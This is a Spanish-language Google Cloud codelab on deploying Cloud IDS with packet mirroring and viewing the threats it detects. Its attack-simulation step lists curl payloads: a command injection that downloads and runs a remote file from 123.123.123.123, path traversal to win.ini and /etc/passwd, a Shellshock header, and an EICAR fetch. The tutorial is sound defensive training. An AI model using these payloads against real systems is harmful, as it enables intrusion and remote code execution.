1. Introducción
En este lab, implementarás IDS de Cloud, un servicio avanzado de detección de intrusiones de nueva generación que proporciona detección de amenazas de intrusiones, software malicioso, software espía y ataques de comando y control. Deberás simular varios ataques y verás los detalles de la amenaza en la consola de Cloud.
Qué aprenderás
- Cómo crear un extremo de IDS de Cloud
- Cómo crear 2 máquinas virtuales con comandos de gcloud
- Cómo crear una política de duplicación de paquetes
- Cómo simular el tráfico de ataque desde una máquina virtual
- Cómo visualizar detalles de amenazas en la consola de Cloud y Cloud Logging
Requisitos
- Conocimientos sobre comandos básicos de Linux
2. Casos de uso de IDS de Cloud
IDS de Cloud proporciona un servicio de detección de intrusiones (IDS) de nueva generación nativo de Google Cloud para que los clientes cumplan con sus requisitos avanzados de detección de amenazas y cumplimiento, como PCI 11.4. El servicio cuenta con la tecnología de protección contra amenazas de Palo Alto Networks para proporcionar una detección avanzada de intrusiones. La combinación de la infraestructura de primer nivel de Google Cloud con la seguridad de primer nivel de Palo Alto Networks proporciona a los clientes una combinación inigualable de un servicio de detección avanzada de amenazas completamente administrado, de alto rendimiento y con la mayor eficacia en seguridad.
A medida que los clientes migran a la nube, la seguridad es su prioridad. Quieren contar con controles de seguridad similares a los de sus instalaciones, como el servicio de detección de intrusiones (IDS) en la nube. Prefieren firmemente utilizar una solución de IDS administrada nativa de la nube para facilitar la implementación, alto rendimiento y costos optimizados, en comparación con la implementación de una solución de seguridad de terceros y la administración de la infraestructura o sus propias firmas. IDS de Google Cloud proporciona un servicio de IDS administrado de extremo a extremo y con ajuste de escala automático, lo que permite que los clientes dediquen su tiempo a analizar y mitigar amenazas, y libera tiempo y recursos para administrar la infraestructura o las firmas de amenazas.
IDS de Cloud se implementa fuera de banda y puede detectar amenazas y generar alertas sobre ellas, pero no puede bloquearlas. Esta herramienta aprovecha la duplicación de paquetes de Google Cloud para realizar una copia del tráfico de red que se analiza con el motor de detección de amenazas de Palo Alto Network.
3. Topología de codelabs
Figura 1: Descripción general de la arquitectura de alto nivel de la implementación de IDS de Cloud para este lab.
4. Configuración y requisitos
Configuración del entorno de autoaprendizaje
- Accede a Google Cloud Console y crea un proyecto nuevo o reutiliza uno existente. Si aún no tienes una cuenta de Gmail o de Google Workspace, debes crear una.
- El Nombre del proyecto es el nombre visible de los participantes de este proyecto. Es una string de caracteres que no se utiliza en las API de Google y se puede actualizar en cualquier momento.
- El ID del proyecto debe ser único en todos los proyectos de Google Cloud y es inmutable (no se puede cambiar después de configurarlo). Cloud Console genera automáticamente una string única, que, por lo general, no importa cuál sea. En la mayoría de los codelabs, debes hacer referencia al ID del proyecto (suele ser
PROJECT_ID
). Por lo tanto, si no te gusta, genera otro aleatorio o prueba con uno propio y comprueba si está disponible. Después de crear el proyecto, este ID se “congela” y no se puede cambiar. - Además, hay un tercer valor, el Número de proyecto, que usan algunas API. Obtén más información sobre estos tres valores en la documentación.
- A continuación, deberás habilitar la facturación en Cloud Console para usar las API o los recursos de Cloud. Ejecutar este codelab no debería costar mucho, tal vez nada. Si quieres cerrar los recursos para no se te facture más allá de este instructivo, sigue las instrucciones de “limpieza” que se encuentran al final del codelab. Los usuarios nuevos de Google Cloud son aptos para participar en el programa Prueba gratuita de USD 300.
Inicia Cloud Shell
Si bien Google Cloud y Spanner se pueden operar de manera remota desde tu laptop, en este codelab usarás Google Cloud Shell, un entorno de línea de comandos que se ejecuta en la nube.
En GCP Console, haga clic en el ícono de Cloud Shell en la barra de herramientas superior derecha:
El aprovisionamiento y la conexión al entorno deberían tomar solo unos minutos. Cuando termine el proceso, debería ver algo como lo siguiente:
Esta máquina virtual está cargada con todas las herramientas de desarrollo que necesitarás. Ofrece un directorio principal persistente de 5 GB y se ejecuta en Google Cloud, lo que permite mejorar considerablemente el rendimiento de la red y la autenticación. Puedes realizar todo tu trabajo en este lab usando simplemente un navegador.
5. Antes de comenzar
Habilita las APIs
En Cloud Shell, asegúrate de que el ID del proyecto esté configurado
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Habilita todos los servicios necesarios
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Crear red de VPC
Red de VPC
Desde Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subred
Desde Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Acceso privado a servicios
Desde Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
Desde Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Reglas de firewall
Para permitir que IAP se conecte a tus instancias de VM, crea una regla de firewall que haga lo siguiente:
- Se aplica a todas las instancias de VM a las que deseas que se pueda acceder mediante IAP.
- Permite el tráfico de entrada del rango de IP 35.235.240.0/20. Este rango contiene todas las direcciones IP que IAP usa para el reenvío de TCP.
Desde Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Para permitir el puerto HTTP estándar (TCP 80) y el protocolo ICMP en el servidor, haz lo siguiente:
- Se aplica a los recursos con la etiqueta de red “server”
- Permite la entrada desde todas las fuentes
Desde Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Crea una instancia de Cloud NAT
Cloud Router
Desde Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Desde Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Crea un extremo de IDS de Cloud
En esta sección, crearás un extremo del IDS de Cloud en us-east1, con una gravedad establecida en informativa. La creación del extremo de IDS tarda alrededor de 20 minutos.
Extremo de IDS
Desde Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verifica que se haya iniciado el extremo de IDS de Cloud
gcloud ids endpoints list --project=$PROJECT_ID
Resultado:
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Cree 2 máquinas virtuales
En esta sección, crearás 2 máquinas virtuales. El primero será tu servidor web, que se duplicará en el IDS de Cloud. La segunda será tu fuente de tráfico de ataque.
Máquina virtual 1 (servidor)
Desde Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máquina virtual 2 (cliente)
Desde Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparando el servidor
En esta tarea, validarás tu servidor y proporcionarás una carga útil de software malicioso benigno a tu cliente.
Establece una conexión SSH a la VM a través de Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Confirma que el servicio web se esté ejecutando
sudo systemctl status nginx
Resultado: Verifica que el elemento esté activo y en ejecución
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Cambia el directorio al servicio web
cd /var/www/html/
Crear un archivo de software malicioso benigno en el servidor web
sudo touch eicar.file
Pegar el contenido
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Volver a Cloud Shell
exit
Crea una política de duplicación de paquetes del IDS de Cloud
Identifica la regla de reenvío del extremo de IDS y confirma que su estado sea “READY”.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Resultado de ejemplo: Copia el valor de “endpointForwardRule”.
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Guarda la regla de reenvío del extremo de IDS en una variable.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Política de Duplicación de paquetes
Desde Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verifica que se haya creado la política de duplicación de paquetes
Desde Cloud Shell
gcloud compute packet-mirrorings list
Salida
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simula el tráfico de ataque
Establecer una conexión SSH a la máquina virtual del atacante (cliente)
Desde Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Ejecuta las siguientes solicitudes curl para simular tráfico malicioso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Sal de la VM para volver a Cloud Shell
exit
11. Revisa las amenazas que detectó IDS de Cloud
Navega al panel de IDS de Cloud
Menú de navegación > Seguridad de red > IDS de Cloud
Navega a la pestaña Amenazas.
Como puedes ver, el IDS de Cloud capturó varios perfiles de tráfico de ataque y proporcionó los detalles de cada amenaza. Es posible que debas hacer clic en el botón “Actualizar” si no ves ninguna amenaza. Ahora, profundizaremos un poco más y veremos los detalles de las amenazas.
Ubica la “Vulnerabilidad de ejecución de código remoto de Bash”. haz clic en los tres puntos de la derecha y selecciona “Ver detalles de la amenaza”
Ahora, veremos los detalles de este incidente en Cloud Logging. Para volver a la página Amenazas, haz clic en la flecha que apunta a la izquierda .
Haz clic en los tres puntos de la derecha y selecciona "Ver registros de amenazas"
Se proporcionan los mismos detalles a Cloud Logging. Esto te permite enviar los registros a Cloud Storage, Chronicle o cualquier SIEM/SOAR. También puedes crear flujos de trabajo personalizados para tomar medidas de corrección basadas en alertas, p.ej., crear una Cloud Function que se active con una alerta y crear o actualizar una regla de firewall para bloquear la dirección IP, o bien crear o actualizar una política de Cloud Armor.
12. Pasos de limpieza
Salir de la instancia de VM (todas las pestañas)
exit
Borra los componentes del lab desde una sola terminal de Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. ¡Felicitaciones!
Felicitaciones por completar el codelab.
Temas abordados
- Casos de uso de IDS de Cloud
- Requisitos de red
- API admitidas
- Creaste un extremo de IDS de Cloud.
- Se implementaron 2 VMs
- Se generó algún “ataque” tráfico del cliente
- IDS detectó amenazas verificadas
- Revisa los detalles y registros de las amenazas